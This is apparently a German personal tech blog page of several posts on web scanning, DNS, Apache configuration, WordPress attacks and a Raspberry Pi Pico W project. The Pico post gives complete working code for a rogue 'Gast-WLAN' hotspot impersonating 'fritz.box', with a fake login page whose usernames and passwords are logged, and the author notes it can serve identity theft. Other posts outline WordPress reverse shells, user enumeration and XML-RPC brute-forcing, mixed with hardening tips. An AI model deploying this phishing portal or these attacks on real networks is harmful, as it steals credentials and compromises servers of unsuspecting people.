Security - WhatWeb Open-Source-Webscanner: Webanwendungen analysieren identifizieren

WhatWeb ist ein Open-Source-Webscanner, der speziell dafür entwickelt wurde Webanwendungen zu analysieren und zu identifizieren. Ein ähnliches Vorgehen habe ich bereits unter Security - Nmap Netzwerkscanner und Kali Linux und Hacking - Netzwerkscanner, nmap, Reverse Shell und Password Cracking mit hashcat beschrieben.

Da eine Installation per Windows nicht direkt möglich ist, empfehle ich eine Installation per Windows-Subsystem für Linux (WSL) oder über Distrobox.

WhatWeb erkennt, welche Technologien eine Website nutzt z. B. Content-Management-Systeme (CMS) wie WordPress oder Joomla, Webserver (Apache, Nginx), Programmiersprachen (PHP, Python), Frameworks (React, Angular) und vieles mehr.

Durch Skripte und Automatisierung kann WhatWeb große Mengen an Websites scannen, um z. B. veraltete Software oder unsichere Konfigurationen zu finden.

Installation

git clone https://github.com/urbanadventurer/WhatWeb.git

Da WhatWeb in Ruby geschrieben ist, müssen jetzt noch die Abhängigkeiten installiert werden:
sudo apt install -y ruby ruby-dev ruby-bundler build-essential make libssl-dev zlib1g-dev libyaml-dev

Jetzt in den Ordner "./WhatWeb" wechseln und den Webscanner installieren:
sudo make install

Metadaten anzeigen in in eine XML-Datei schreiben
whatweb shemel.de --log-xml=results.xml

User-Agent hinzufügen
whatweb --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" https://shemel.de

DNS - HTTPS Resource Record verwenden (Backup Server, Port-Signalisierung)

In meinem letzten Beitrag zum Thema DNS habe ich gezeigt, wie man die Eigene Domain auf eine andere IP mit Hilfe von Bind umleiten kann. Mit Hilfe des Domain Name System (DNS) wird die Namensauflösung im Internet durchgeführt. Diese Einträge werden als Resource Records (RR) bezeichnet. Die A- und die AAAA-Records sind zum Beispiel die Einträge für IPv4-/IPv6-Adressen der Server. Der DNS-Record „HTTPS“ kann als weiteres Steuerelement verwendet werden.

Der HTTPS-Record ist eine Variante des SVCB-Records und wurde speziell für die Verwendung mit dem HTTPS-Protokoll entwickelt. Um eine HTTPS-Verbindung aufzubauen, muss ein Client in der Regel zuerst eine HTTP-Verbindung aufbauen, dies erzeugt Latenz. Der DNS-Eintrag vom Typ HTTPS kann diese Latenz zu verringern.

Aufbau des HTTPS Resource Records

example.com. 300 IN HTTPS 10 backup01.example.com. alpn="h3,h2" port=8443

• example.com. => Name - Domainname der Website
• 300 => TTL - Time to Live: maximale Caching-Zeit
• IN => Klasse Internet (konstanter Wert)
• HTTPS => Typ des Resource Records
• 10 => SvcPriority - Priorität des Eintrags (kleiner Wert = höhere Priorität)
• backup01.example.com. => TargetName - Hostname des Webservers. Der Wert „.“ bedeutet, dass der Hostname dem Domainnamen der Website entspricht
• alpn="h3,h2" port=8443 => SvcParams - Liste von definierten Parametern nach dem Schema „key=value“.

Quelle: https://de.wikipedia.org/wiki/HTTPS_Resource_Record

Die Abfrage des HTTPS-Record ist mit den Tools dig oder kdig möglich. Nicht aber mit nslookup!
dig google.com https

Installation mit Hilfe von sudo pacman -S dnsutils

Beispiele für die Nutzung des HTTPS-Record

Backup Server
example.com. 300 IN HTTPS 10 backup01.example.com.
example.com. 300 IN HTTPS 20 backup02.example.net.
example.com. 300 IN HTTPS 30 backup03.example.de.

Port-Signalisierung
app1.example.de IN HTTPS 1 . port=8443
Hier wird die Applikation nicht über den üblichen Port 443 ausgeliefert. Die Eingabe vom Port https://app1.example.de:8443/login in der URL kann entfallen.

Beispiel Abfragen von Records mit Hilfe von nslookup

Nslookup gefolgt vom Domänennamen zeigt den „A-Record“ (IP-Adresse) der Domain an.

(deck@steamdeck ~)$ nslookup shemel.de
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
Name:   shemel.de
Address: 178.254.0.77


Abfrage des NS-Eintrags einer Domain
Der NS-Eintrag zeigt alle Nameserver einer Domain an.

(deck@steamdeck ~)$ nslookup -type=ns shemel.de
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
shemel.de       nameserver = ns01.1blu.de.
shemel.de       nameserver = ns02.1blu.de.


Abfrage des MX-Eintrags
Der MX-Eintrag (Mail-Exchange-Server) einer Domain. Siehe auch Mailserver - Zugriff auf TCP Port 25 (smtp) mit telnet testen.

(deck@steamdeck ~)$ nslookup -type=mx microsoft.com
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
microsoft.com   mail exchanger = 10 microsoft-com.mail.protection.outlook.com

Raspberry Pi Pico - WLAN und Webserver Bibliothek "phew"

Der Raspberry Pi Pico W kostet nur ca. 10 Euro und ist somit viel günstiger als der normale Raspberry Pi oder Raspberry Pi Zero. Der Pico arbeitet mit einem RP2040 Mikrocontroller (ARM Cortex M0+ mit bis zu 133 MHz Taktfrequenz als CPU, 264 kByte RAM und 2 MByte Flash-Speicher).

In diesem Beitrag werde ich zeigen, wie man einen WLAN-Hotspot einrichtet und per Webserver eine Webseite bzw. eine Hotspot Anmeldewebseite (Captive Portal) ausliefert. Diese kann nun zum Identitätsdiebstahl dienen.

MicroPython installieren

MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.

Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.

Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).

Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.

Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan  2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck

Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.

"phew" Bibliothek (WLAN- und Webserver) installieren

Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.

Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.

Hotspot-Popup (Captive-Portal) programmieren

Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.

#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------

from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat

# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"

#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"])     # apple redir
@server.route("/generate_204", methods=["GET"])            # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
    logging.info("redirecting hotspot request " + request.path)
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])                # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
    return "", 200

@server.route("/", methods=['GET'])
def index(request):
    logging.info("route/ retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("route/data.html", methods=["GET"])
def hotspot(request):
    logging.info("/data.html retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("/log.txt", methods=["GET"])
def hotspot(request):
    return render_template("log.txt")

@server.catchall()
def catch_all(request):
    try:
        print("***************CATCHALL***********************\n" + str(request))
        stat(HTDOCS + request.path)
        return render_template(HTDOCS + request.path)
    except OSError:
        return "Not found:" + request.path, 404

# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")

Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.

     

<!DOCTYPE html>
<html lang="de">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Pico W Captive Portal</title>
      </head>
      <body>
        <h1>Willkommen beim Captive Portal</h1>
     
        <h2>Login</h2>
           <form id="login-form">
              <p>
            <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
            </p>
              <p>
            <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
            </p>
            <input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
        </form>
       
<script>
    function validate(){
        var username = document.getElementById("username-field").value;
        var password = document.getElementById("password-field").value;
        if (username && password){
            alert ("Login erfolgreich!");
            window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
            return false;
        }
        else{
            alert("Bitte geben Sie Ihre Zugangsdaten ein!");
            return false;
        }
    }   
</script>
       
    </body>
</html>

Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .

Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!

Hacking - Netzwerkscanner, nmap, Reverse Shell und Password Cracking mit hashcat

In den Artikel Security - Nmap Netzwerkscanner und Kali Linux und Hacking - Nützliche Tools (PassView, Windows Login Unlocker, Recovery, Process Hacker, Network Sniffer) habe ich bereits etliche Beispiele beschrieben, welche Tools Hacker verwenden und wie sie dabei vorgehen. In diesem Beitrag werde ich noch etwas tiefer ins Detail gehen.

Netzwerkscanner (Netdiscover)

Netdiscover kann auch verwendet werden, um im Netzwerk-ARP-Pakete zu untersuchen oder Netzwerkadressen mithilfe des Auto-Scan-Modus zu finden. Siehe auch https://www.kali.org/tools/netdiscover/. Hierdurch lassen sich in einem Netzwerk potenzielle Angriffsziele ermitteln.

Installation: sudo apt-get install netdiscover
Aufruf: netdiscover -r 192.168.1.0/24

Hinweis: Netdiscover staret automatisch mit der ersten Netzwerkschnittstelle, die es findet.

nmap Funktion http-enum

Mit Hilfe von http-enum findet man automatisiert Dateien oder interessante Verzeichnisse auf einem Webserver. Dabei sendet das Script weit über tausend Abfragen für gängige Dateien und Verzeichnisse an den Server. So lassen sich schnell wichtige Informationen erhalten, ob einige bekannte Dienste oder Dateien auf dem Webserver offen zugänglich sind oder nicht.

Aufruf: nmap -n --script=http-enum 192.168.1.1 oder Domain.de

WordPress: Reverse Shell

Es gibt viele verschiedene Methoden WordPress anzugreifen (z.B. WordPress - Brute-Force Angriffe mit XML-RPC und REST-API), eine davon ist Zugriff auf die WordPress-Verwaltungskonsole mit Hilfe des Metasploit Framework https://www.kali.org/tools/metasploit-framework/. Hierdurch ist es dann auch mögloch eine "Reverse Shell" als Plugin zu installieren, um so "root" bzw. Vollzugriff auf den Server zu erhalten.
Das Vorgehen ist unter https://www.hackingarticles.in/wordpress-reverse-shell/ beschrieben.

Password Cracking mit hashcat

Hashcat ist ein extrem schnelles Tool zur Passwortwiederherstellung. So kann es hochkomplexe Passwörter in kürzester Zeit knacken. Dies ist möglich, wenn Passwörter einem Wörterbuch entstammen.
Ein gutes Tutorial für den Einstieg findet sich unter https://resources.infosecinstitute.com/topic/hashcat-tutorial-beginners/.

Apache HTTP Server - Basis Wissen (Module mod_info, mod_status, mod_remoteip)

Als Erweiterung zum Artikel Apache HTTP Server - vHost Konfiguration bietet sich ein Blick in die offizielle Apache Dokumentation für die Module mod_info, mod_status und mod_remoteip an.

Apache Module mod_info

Bietet einen umfassenden Überblick über die Serverkonfiguration, https://httpd.apache.org/docs/2.4/mod/mod_info.html.

Achtung: Sobald mod_info auf den Server geladen ist, ist seine Funktion in allen Konfigurationsdateien verfügbar, einschließlich Dateien pro Verzeichnis (z. B. .htaccess). Dies kann sicherheitsrelevante Auswirkungen auf die Webseiten haben. Daher am Besten den Zugriff auf den "localhost" beschränken, bzw. nur für bestimmte IP-Adressen freigeben.

<Location "/server-info">
    SetHandler server-info
    # Allow access from server itself
    Require ip 127.0.0.1

    # Additionally, allow access from local workstation
    Require ip 192.168.1.111
</Location>

Apache Module mod_status

Bietet Informationen zur Serveraktivität und -leistung, https://httpd.apache.org/docs/2.4/mod/mod_status.html.

Achtung: Auch hier ist zu beachten, dass beim Laden des Moduls mod_status der Server die Funktion in allen Konfigurationsdateien verfügbar ist, einschließlich der Dateien pro Verzeichnis (z. B. .htaccess). Dies kann auch hier sicherheitsrelevante Auswirkungen auf die Webseite haben! Daher am Besten den Zugriff auf den "localhost" beschränken, bzw. nur für bestimmte IP-Adressen freigeben.

<Location "/server-status">
    SetHandler server-status
    # Allow access from server itself
    Require ip 127.0.0.1

    # Additionally, allow access from local workstation
    Require ip 192.168.1.11
</Location>

Apache Module mod_remoteip

Das Module Remote IP https://httpd.apache.org/docs/2.4/mod/mod_remoteip.html ersetzt die ursprüngliche Client-IP-Adresse durch die IP-Adresse des useragent, die von einem Proxy oder einem Load Balancer über die Anforderungsheader angezeigt wird. So kann man dennoch auf die IP-Adresse des Besuchers reagieren.

Apache Serversignatur

Anpassung unter: /etc/apache2/conf-available/security.conf

ServerSignature
Bestimmt ob die Serversignatur angezeigt wird.
ServerSignature On | Off

ServerTokens
Bestimmt die Art der Serversignatur, wobei Full die meisten und Prod die wenigsten Informationen ausgibt.
ServerTokens Full | OS | Minimal | Minor | Major | Prod

WordPress - Brute-Force Angriffe mit XML-RPC und REST-API

Das freie Content-Management-System WordPress ist weit verbreitet und oft werden nach einer Erstinstallation keine neuen Releases bzw. Security Updates mehr eingespielt. Hierdurch ergeben sich über die XML-RPC Schnittstelle in Verbindung mit der REST-API Möglichkeiten für eine Brute-Force-Attacke.

1. Schritt: REST-API Wordpress User herausfinden

• Unter der URL http://DOMAIN.DE/wp-json/wp/v2/users lassen sich die User der Wordpress Installation auslesen, sofern die API von Wordpress nicht deaktiviert wurde.

• Gleichzeitig lassen sich hier ggf. massenhaft E-Mail Adressen abgreifen, wenn die User als E-Mail Adressen angelegt wurden. 
• Beheben lässt sich dies durch anpassen der functions.php, siehe auch https://wordpress.stackexchange.com/questions/252328/wordpress-4-7-1-rest-api-still-exposing-users oder alles unter dem Pfad "/wp-json" auf dem Webserver selber mit Hilfe von HTTP-Basic-Auth absichern.
  

2. Brute-Force-Angriff über die XML-RPC Schnittstelle

• Über die xmlrpc.php lassen sich Anfragen zur Authentifizierung per Webservice mit Benutzernamen und das Passwort senden.
• Benötigt man diese Schnittstelle nicht, sollte man die xmlrpc.php deaktivieren. Mit Hilfe des WordPress XML-RPC Validation Service kann man überprüfen, ob der Service aktiv ist.
• Bei GitHub finden sich viele xmlrpc-bruteforcer, mit nur wenigen Schritten, lassen sich so mit Hilfe von einem Python-Script Brute-Force-Angriffe starten.

• Passende Listen mit Passwörtern finden sich z.B. unter https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt.
• Die 10 Tausend am häufigsten verwendeten Passwörter lassen sich so in nur wenigen Sekunden mit dem Script überprüfen.
• Deswegen auch hier der Tipp, Passwörter am Besten mit einer Länge von mind. 12 Zeichen immer per Zufall generieren lassen!

 

HTTPS - Weiterleitung per .htaccess

Mit Hilfe einer .htaccess Datei lassen sich verschiedene Einstellungen eines Apache Webservers vornehmen. Darunter fallen zum Beispiel Weiterleitungen oder auch ein Passwort geschützter Bereich. In dem Beitrag beschreibe ich kurz das Vorgehen zur Einrichtung einer Weiterleitung auf HTTPS.

Hat man für seine Webseite nur ein Webhosting-Paket bestellt, lässt sich keine direkte Konfiguration am Apache Webserver selber vornehmen. Um z.B. eine Weiterleitung per HTTP zu HTTPS mit Hilfe der Apache Virtual Host Konfiguration vorzunehmen.

Mit HTTPS werden alle Daten zwischen dem Browser und dem Webserver verschlüsselt und somit sicher übertragen. Bevor eine HTTP zu HTTPS-Umleitung für die Domain erfolgen kann, muss ein SSL-Zertifikat installiert und aktiviert werden. Dies geht mittlerweile bei den meisten Webhostern relativ einfach z.B. mit kostenfreien Let’s Encrypt Zertifikaten.

Domain auf verschlüsselte Verbindung (HTTPS) weiterleiten

Die Weiterleitung erfolgt mit Hilfe einer .htaccess Datei. Das notwendige Apache Modul mod_rewrite ist bei den Hosting Angeboten in der Regel immer aktiv.

Verwende ich einen eigenen Server, muss ich das Modul mit dem folgenden Befehl aktivieren und anschließend den Webserver neustarten.

sudo a2enmod rewrite

Hinweis: Sollte man auf Inhalte der Webseite z.B. per HTML-Wrapper-App noch mit HTTP zugreifen, sollten die Verlinknungen innerhalb der App auf HTTPS umgestellt werden. Ansonsten öffnet sich direkt ein Browser Dialog wegen der Weiterleitung auf HTTPS.

Jetzt muss nur noch die .htaccess Datei im Domain-Stammverzeichnis erstellt werden und die nachfolgenden Zeilen eingefügt werden, um HTTP zu HTTPS umzuleiten.


# Weiterleitung (Redirect) https
RewriteEngine On

RewriteCond %{SERVER_PORT} !^443$

# 301: Die Weiterleitung ist dauerhaft
RewriteRule (.*) https://%{HTTP_HOST}/$1 [R=301,L]

DNS - Eigene Domain auf eine andere IP mit Bind umleiten

Mit Hilfe des Domain Name System (DNS) wird die Namensauflösung im Internet durchgeführt. Gibt man z.B. die Domain beispiel.de ein, dann wird diese vom DNS in die zugehörige IP-Adresse umgewandelt.

Zum Beispiel wird eine Domain in eine

• IPv4-Adresse 82.165.229.138 oder eine 
• IPv6-Adresse 2a02:2e0:3fe:1001:7777:772e:2:85

umgewandelt und der Browser leitet die Anfragen zu dem richtigen Server weiter.

Dies kann man selber z.B. mit dem Befehl ping in der Komandozeile testen:

Möchte man sichergehen, dass eine IPv6 Adresse angezeigt wird (sofern vorhanden), dann verwendent man ping -6 www.domainname.de .

DNS Eintrag einer eigenen Domain ändern

Besitzt man einen eigenen Server (z.B. virtueller Server von Host Europe) kann man diesen als DNS-Server mit Hilfe des Programms Bind verwenden. Hierdurch ist es möglich, eine Domain auf einen anderen Server zeigen zu lassen. Anwendungsfälle wären  z.B. ein Server Umzug oder ein schneller Domainumzug ohne auth-code.

Bind ist die aktuell am häufigsten verwendete DNS Software im Internet. Dieser kann mit dem folgenden Befehl installiert werden:

sudo apt-get install bind9

Des weiteren ist es auch sinnvoll, die Programme dig und dnsutils zu installieren, damit man die Namensauflösungen anschließend testen kann.

sudo apt-get install dnsutils
sudo apt-get install dig

Beispiel: Anpassen der IP-Adresse für eine Domain

Bevor man mit der Anpassung starten kann, ist es nötig die neue IP-Adresse noch bei einem weiteren DNS-Server einzutragen (secondary DNS). Denn nur so, wird auch wirklich die neue IP-Adresse übernommen. Hierfür kann man z.B. den Service von http://www.twisted4life.com verwenden.

Man gibt dafür den Domainnamen ein und die IP-Adresse des primären DNS Server (auf den wir soeben bind installiert haben).

Anschließend sagt uns der Service auch, welchen Eintrag wir in der Zonendatei (named.conf.local) vornehmen müssen:

zone "simxxxxxx.xe" { //yourdomain.com
    type master;
    file "/etc/bind/db.simxxxxxx.xe"; //yourdomain.com
    allow-transfer {
       202.157.182.142;
    };
};

Nach der Installation befinden sich alle nötigen Dateien unter /etc/bind/ , hier ist die zentrale Datei /etc/bind/named.conf . In der die folgenden Dateien inkludiert werden:

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

Jetzt wird der oben genannte Eintrag in named.conf.local vorgenommen und es muss noch eine Zonendatei für den Master Eintrag erstellt werden.

Die Datei db.simxxxxxx.xe sollte dann in etwa so aussehen (IPextern ist dann die neue IP-Adresse der Domain):

// Serial aufbau: Form YYYYMMDDSS, mit YYYY=Jahr, MM=Monat, DD=Tag und SS=zweistellige Seriennummer, die bei mehreren Änderungen an einem Tag jeweils um eins erhöht wird.
// Kommentare werden durch „;“ (Semikolon) eingeleitet. Alles, was rechts von einem „;“ auftaucht, gilt als Kommentar.

; simxxxxxx.xe
$TTL    604800
@       IN      SOA     simxxxxxx.xe root.simxxxxxx.xe. (
2014010301 ; Serial
28800 ; refresh - 8 Stunden
7200 ; retry - 2 Stunden
604800 ; expire - 1 Woche
604800 ; Negative Cache TTL
                        )

@               IN      NS      ns1.simxxxxxx.xe.
@               IN      NS      ns1.twisted4life.com.


;MX-Records
@ IN MX 1 aspmx.l.google.com.
@ IN MX 3 alt1.aspmx.l.google.com.
@ IN MX 3 alt2.aspmx.l.google.com.
@ IN MX 5 aspmx2.googlemail.com.
@ IN MX 5 aspmx3.googlemail.com.
@ IN MX 5 aspmx4.googlemail.com.
@ IN MX 5 aspmx5.googlemail.com.
@ 86400 IN TXT "v=spf1 include:_spf.google.com ~all"

ns1.simxxxxxx.xe.   1800  IN  A    178.2XX.XX.X4 ; IPvserver
@                   1800  IN  A    85.2XX.XX.X8  ; IPextern
*                   1800  IN  A    85.2XX.XX.X8  ; IPextern
 

In dem oben genannten Beispiel wurden auch die MX-Records auf Google angepasst, damit dieser Mailserver verwendet werden kann. Siehe auch https://support.google.com/a/answer/33915 .

Anschließend muss ein reload von Bind erfolgen.

sudo /etc/init.d/bind9 reload

Zu guter Letzt muss auf der Provider Seite (wo die Domain gebucht ist) eine Anpassung des DNS Eintrags erfolgen:

Mit einem nslookup kann jetzt überprüft werden, ob die neue IP-Adresse für die Domain übernommen werden konnte.

nslookup simxxxxxx.xe 178.2XX.XX.X4

Apache HTTP Server - vHost Konfiguration

Wie kann man mehrere Webseiten mithilfe von einem Webserver betreiben?

Dies geht mit Hilfe des "Virtual Hosting". Dabei wird der Webserver (z.B. Apache) so konfiguriert, dass er auf unterschiedliche Hostnamen (Doamins) reagieren kann. Somit ist es möglich, auf einem Webserver, mehrere Webseiten unter der gleichen IP-Adresse gleichzeitig zu betreiben. Der Webserver entscheidet auf Basis des HTTP-Headers, welche Webseite ausgeliefert werden soll.

Auszug eines HTTP Headers:

Beispiele von Apache für die Konfiguration befindet sich unter /etc/apache2/sites-available

• default
• default-ssl 

Diese können als Basis für eine eigene Konfiguration verwendet werden:

Konfiguration der eigenen "Virtual Host" Datei

Im Verzeichnis /etc/apache2/sites-available habe ich eine neue Datei namens hemel angelegt. Dazeu habe ich ein Verzeichnis unter /var/www/virtual/hemel angelegt, da sich dann hier die eigentlichen "html Dateien" befinden werden.

Hier meine Beispiel Konfigiration um auf die Domain "beispiel.de" reagieren zu können:
#############################################################
# www.beispiel.de
#############################################################
<VirtualHost *:80>
     ServerName www.beispiel.de:80
     ServerAdmin server@beispiel.de
     ServerAlias www.beispiel.de

     # -Indexes - Verzeichnis Inhalt nicht anzeigen!
     Options -Indexes
     DocumentRoot /var/www/virtual/hemel/htdocs/beispiel-de
     ScriptAlias /cgi-bin/ /var/www/virtual/hemel/cgi-bin/

     LogLevel warn
     ErrorLog /var/log/apache2/beispiel-error.log
     CustomLog /var/log/apache2/beispiel-access.log combined

     # Leitet alle Anfragen an den ssl-host weiter.
     #RedirectPermanent / https://beispiel.de/
</VirtualHost>

• ServerAdmin: E-Mail-Adresse des Server-Administrators hinterlegen, diese würde man bei Fehlermeldungen im Apache sehen. 
• ServerName: Unter diesem Namen ist die Seite erreichbar. Muss aber per DNS oder über /etc/hosts auflösbar sein.
• DocumentRoot: Basisverzeichnis "document root" des Virtual Hosts. http://BEISPIEL.de/datei.html => Zugriff auf die Datei /var/www/virtual/hemel/htdocs/beispiel-de/datei.html

Nach dem ein neuer Virtual Host angelegt wurde ("available"), muss diese noch im Webserver aktiviert werden ("enabled"). Dies geht mit dem folgenden Befehl:

• sudo a2ensite hemel

Jetzt ist die angelegt Datei unter /etc/apache2/sites-enabled verlinkt und aktiviert.

Hinweis: Mehr Details zu den einzelnen Konfigurationen finden sich in der Apache Dokumentation http://httpd.apache.org/docs/2.2/de/mod/core.html#virtualhost